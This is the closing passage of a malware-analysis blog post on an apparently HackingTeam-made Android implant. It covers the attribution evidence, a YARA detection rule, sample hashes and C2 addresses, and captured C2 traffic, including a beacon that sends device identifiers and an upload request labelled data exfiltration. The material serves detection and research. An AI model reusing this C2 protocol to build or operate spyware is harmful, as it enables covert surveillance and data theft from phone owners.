Honestly? I don’t have definitive proof though there is a decent amount of circumstantial evidence:

C2’s hosted in a similar fashion and address space as previously known HackingTeam families

Use of Italian in both the encrypted string and certificates

Similar style to previous variants though none have been officially and publicly confirmed

These could all be false flags, as I’ve stated before, so take it as you will. I did try to find a contact at HackingTeam. However they didn’t seem to want to reply to me – neither for confirmation that their implant is being used in the wild nor about the vulnerability in their code.

Conclusion

This implant has been floating around and can easily be downloaded for researchers but I don’t believe anyone has publicly spoken about these, which is why I’ve written this. My gut tells me if any AV companies had found this, they’d be foaming at their mouths to publish something for the PR value. Based on the VirusTotal detections of these samples, some people are (blindly?) flagging these files. So again, either they don’t know what they have, or maybe they don’t care to talk about it. Hopefully this brings some attention to it and boosts the detection on these implants and also aids researchers looking to understand these threats.

Special thanks to @ACKFlags, Caleb Fenton at SentinelOne, @jsoo and all of @RedNagaSec for your assistance on this one :D

Appendix

Yara Rule

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 rule HackingTeam_Android : Android Implant { meta: description = "HackingTeam Android implant, known to detect version v4 - v7" author = "Tim 'diff' Strazzere < [email protected] >" reference = "http://rednaga.io/2016/11/14/hackingteam_back_for_your_androids/" date = "2016-11-14" version = "1.0" strings: $decryptor = { 12 01 // const/4 v1, 0x0 D8 00 ?? ?? // add-int/lit8 ??, ??, ?? 6E 10 ?? ?? ?? 00 // invoke-virtual {??} -> String.toCharArray() 0C 04 // move-result-object v4 21 45 // array-length v5, v4 01 02 // move v2, v0 01 10 // move v0, v1 32 50 11 00 // if-eq v0, v5, 0xb 49 03 04 00 // aget-char v3, v4, v0 DD 06 02 5F // and-int/lit8 v6, v2, 0x5f <- potentially change the hardcoded xor bit to ?? B7 36 // xor-int/2addr v6, v3 D8 03 02 ?? // and-int/lit8 v3, v2, ?? D8 02 00 01 // and-int/lit8 v2, v0, 0x1 8E 66 // int-to-char v6, v6 50 06 04 00 // aput-char v6, v4, v0 01 20 // move v0, v2 01 32 // move v2, v3 28 F0 // goto 0xa 71 30 ?? ?? 14 05 // invoke-static {v4, v1, v5}, ?? -> String.valueOf() 0C 00 // move-result-object v0 6E 10 ?? ?? 00 00 // invoke-virtual {v0} ?? -> String.intern() 0C 00 // move-result-object v0 11 00 // return-object v0 } // Below is the following string, however encoded as it would appear in the string table (length encoded, null byte padded) // Lcom/google/android/global/Settings; $settings = { 00 24 4C 63 6F 6D 2F 67 6F 6F 67 6C 65 2F 61 6E 64 72 6F 69 64 2F 67 6C 6F 62 61 6C 2F 53 65 74 74 69 6E 67 73 3B 00 } // getSmsInputNumbers (Same encoded described above) $getSmsInputNumbers = { 00 12 67 65 74 53 6D 73 49 6E 70 75 74 4E 75 6D 62 65 72 73 00 } condition: $decryptor and ($settings and $getSmsInputNumbers) }

Samples

Analyzed in this post:

1 2 3 4 Package Name: it.phonevoda.androidv1 SHA-256: 87efe6a1cbf4d4481c6fa6e2c70a26a0b50a460557a1ad876af9966a571f8a4c Version: 6.1.0 obf - bulk (decrypted and pulled from "Settings") C2(s): 68.233.237.11, 66.232.100.221:8443

Similar samples:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Package Name: it.phonevoda.androidv1 SHA-256: 07278c56973d609caa5f9eb2393d9b1eb41964d24e7e9e7a7e7f9fdfb2bb4c31 Version: 4.0 obf C2(s): 66.232.100.221 Package Name: it.phonewind.androidv1 SHA-256: ed33b83be3af715d3fd8ba6ac8b2b551a16697c5a37a9fcebfc40a024cc9b818 Version: 4.0 obf C2(s): 66.232.100.221 Package Name: it.phonetre.androidv1 SHA-256: e362a037e70517565d28ab85959e6c9d231b2baf0c2df3b87dfaa1451278e80c Version: 6.1.0 obf - tra C2(s): 68.233.237.11, 66.232.100.221:8443 Dex file only: SHA-256: 4308286905ee3d3dd1f4171da15050d1672dcc63bfc65e012b18938275e96085 Version: 6.1.0 obf - tre C2(s): 68.233.237.11, 66.232.100.221:8443

Captured C2 Interactions

RequestActionsToExecute - Request

1 2 3 4 5 6 7 8 9 10 POST /UlisseREST/api/actions/RequestActionsToExecute HTTP/1.1 Connection: Keep-Alive Content-Type: application/json Accept: application/json User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; BLU STUDIO 5.0 C Build/KOT49H) Host: 68.233.237.11 Accept-Encoding: gzip Content-Length: 475 {"CommandLine":"","CurrentDirectory":"","Id":"8f4af21e-29fb-48e9-8b52-8cf87fcdec57","LeaID":"00000000-0000-0000-0000-000000000000","MachineName":"BLU BLU STUDIO 5.0 C BLU STUDIO 5.0 C IMEI: XXXXXXXXXXXXXXX IMSI: null","OsType":5,"Platform":" Board:BLU STUDIO 5.0 C Brand:BLU Device:BLU STUDIO 5.0 C","Version":"Release: 4.4.2 CodeName: REL Inc: eng.android.1441800693 SDK: 19","ServicePack":"","SystemDirectory":"","UserDomainName":"","UserName":"android","ProcessorCount":0}

RequestActionsToExecute - Response

1 2 3 4 5 6 7 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: application/json;charset=UTF-8 Date: Mon, 07 Nov 2016 01:03:21 GMT Content-Length: 2 []

AckRequestedActions - Request

1 2 3 4 5 6 7 8 9 10 POST /UlisseREST/api/actions/AckRequestedActions HTTP/1.1 Connection: Keep-Alive Content-Type: application/json Accept: application/json User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; BLU STUDIO 5.0 C Build/KOT49H) Host: 68.233.237.11 Accept-Encoding: gzip Content-Length: 2 []

AckRequestedActions - Response

1 2 3 4 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 0 Date: Mon, 07 Nov 2016 01:03:21 GMT

UploadService - Request (data exfiltration)

1 2 3 4 5 6 7 8 9 POST /UlisseWCF/UploadService.svc/UploadFile/8f4af21e-29fb-48e9-8b52-8cf87fcdec57/082982b2-e001-4d60-940e-47b923da1aae_2016.11.05_20.04.59__9000--999 HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; BLU STUDIO 5.0 C Build/KOT49H) Host: 68.233.237.11 Accept-Encoding: gzip Content-Length: 834 (PKZip / encrypted blob)

UploadService - Response

1 2 3 4 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 0 Date: Sun, 06 Nov 2016 00:06:40 GMT

NotifyLog - Request

1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /UlisseREST/api/log/NotifyLog HTTP/1.1 Connection: Keep-Alive Content-Type: application/json Accept: application/json User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; BLU STUDIO 5.0 C Build/KOT49H) Host: 68.233.237.11 Accept-Encoding: gzip Content-Length: 6326 { "ClientId": "8f4af21e-29fb-48e9-8b52-8cf87fcdec57", "Date": "Nov 5, 2016 8:05:07 PM", "Details": "*************************** Sat Nov 05 20:04:58 EDT 2016*************************** \r

Error loading action registry\r

\r

\r

Exception Type = class java.lang.Exception\r

\r

#####Exception Details: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/acservice\r

class java.lang.Exception\r

java.lang.Exception: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/acservice

\tat com.google.android.common.Serialization.binaryDeSerializeOnCryptedFilePrivate(Serialization.java:346)

\tat com.google.android.actionsExecutor.ActionsRegistry.a(ActionsRegistry.java:94)

\tat com.google.android.actionsExecutor.ActionsRegistry._(ActionsRegistry.java:49)

\tat com.google.android.MainService.onCreate(MainService.java:67)

\tat android.app.ActivityThread.handleCreateService(ActivityThread.java:2731)

\tat android.app.ActivityThread.access$1800(ActivityThread.java:151)

\tat android.app.ActivityThread$H.handleMessage(ActivityThread.java:1403)

\tat android.os.Handler.dispatchMessage(Handler.java:110)

\tat android.os.Looper.loop(Looper.java:193)

\tat android.app.ActivityThread.main(ActivityThread.java:5299)

\tat java.lang.reflect.Method.invokeNative(Native Method)

\tat java.lang.reflect.Method.invoke(Method.java:515)

\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:825)

\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:641)

\tat dalvik.system.NativeStart.main(Native Method)

\r

\r

*************************** Sat Nov 05 20:04:58 EDT 2016*************************** \r

Error loading executed action registry\r

\r

\r

Exception Type = class java.lang.Exception\r

\r

#####Exception Details: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/easervice\r

class java.lang.Exception\r

java.lang.Exception: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/easervice

\tat com.google.android.common.Serialization.binaryDeSerializeOnCryptedFilePrivate(Serialization.java:346)

\tat com.google.android.actionsExecutor.ActionsRegistry.a(ActionsRegistry.java:115)

\tat com.google.android.actionsExecutor.ActionsRegistry._(ActionsRegistry.java:49)

\tat com.google.android.MainService.onCreate(MainService.java:67)

\tat android.app.ActivityThread.handleCreateService(ActivityThread.java:2731)

\tat android.app.ActivityThread.access$1800(ActivityThread.java:151)

\tat android.app.ActivityThread$H.handleMessage(ActivityThread.java:1403)

\tat android.os.Handler.dispatchMessage(Handler.java:110)

\tat android.os.Looper.loop(Looper.java:193)

\tat android.app.ActivityThread.main(ActivityThread.java:5299)

\tat java.lang.reflect.Method.invokeNative(Native Method)

\tat java.lang.reflect.Method.invoke(Method.java:515)

\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:825)

\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:641)

\tat dalvik.system.NativeStart.main(Native Method)

\r

\r

*************************** Sat Nov 05 20:04:58 EDT 2016*************************** \r

Error loading assembly registry\r

\r

\r

Exception Type = class java.lang.Exception\r

\r

#####Exception Details: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/arservice.dat\r

class java.lang.Exception\r

java.lang.Exception: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/arservice.dat

\tat com.google.android.common.Serialization.binaryDeSerializeOnCryptedFilePrivate(Serialization.java:346)

\tat com.google.android.global.AssemblyManager.h(AssemblyManager.java:201)

\tat com.google.android.global.AssemblyManager.c(AssemblyManager.java:57)

\tat com.google.android.MainService.onCreate(MainService.java:71)

\tat android.app.ActivityThread.handleCreateService(ActivityThread.java:2731)

\tat android.app.ActivityThread.access$1800(ActivityThread.java:151)

\tat android.app.ActivityThread$H.handleMessage(ActivityThread.java:1403)

\tat android.os.Handler.dispatchMessage(Handler.java:110)

\tat android.os.Looper.loop(Looper.java:193)

\tat android.app.ActivityThread.main(ActivityThread.java:5299)

\tat java.lang.reflect.Method.invokeNative(Native Method)

\tat java.lang.reflect.Method.invoke(Method.java:515)

\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:825)

\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:641)

\tat dalvik.system.NativeStart.main(Native Method)

\r

\r

*************************** Sat Nov 05 20:04:58 EDT 2016*************************** \r

Error loading components registry\r

\r

\r

Exception Type = class java.lang.Exception\r

\r

#####Exception Details: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/crservice.dat\r

class java.lang.Exception\r

java.lang.Exception: Error reading serialized stream: file not exists. Filename: \/data\/data\/it.apnphone.android\/files\/datas\/crservice.dat

\tat com.google.android.common.Serialization.binaryDeSerializeOnCryptedFilePrivate(Serialization.java:346)

\tat com.google.android.global.ComponentsRegistry.o(ComponentsRegistry.java:115)

\tat com.google.android.global.ComponentsRegistry.e(ComponentsRegistry.java:40)

\tat com.google.android.MainService.onCreate(MainService.java:74)

\tat android.app.ActivityThread.handleCreateService(ActivityThread.java:2731)

\tat android.app.ActivityThread.access$1800(ActivityThread.java:151)

\tat android.app.ActivityThread$H.handleMessage(ActivityThread.java:1403)

\tat android.os.Handler.dispatchMessage(Handler.java:110)

\tat android.os.Looper.loop(Looper.java:193)

\tat android.app.ActivityThread.main(ActivityThread.java:5299)

\tat java.lang.reflect.Method.invokeNative(Native Method)

\tat java.lang.reflect.Method.invoke(Method.java:515)

\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:825)

\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:641)

\tat dalvik.system.NativeStart.main(Native Method)

\r

\r

" }

NotifyLog - Response

1 2 3 4 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 0 Date: Sun, 06 Nov 2016 00:06:40 GMT

Decrypted String Dump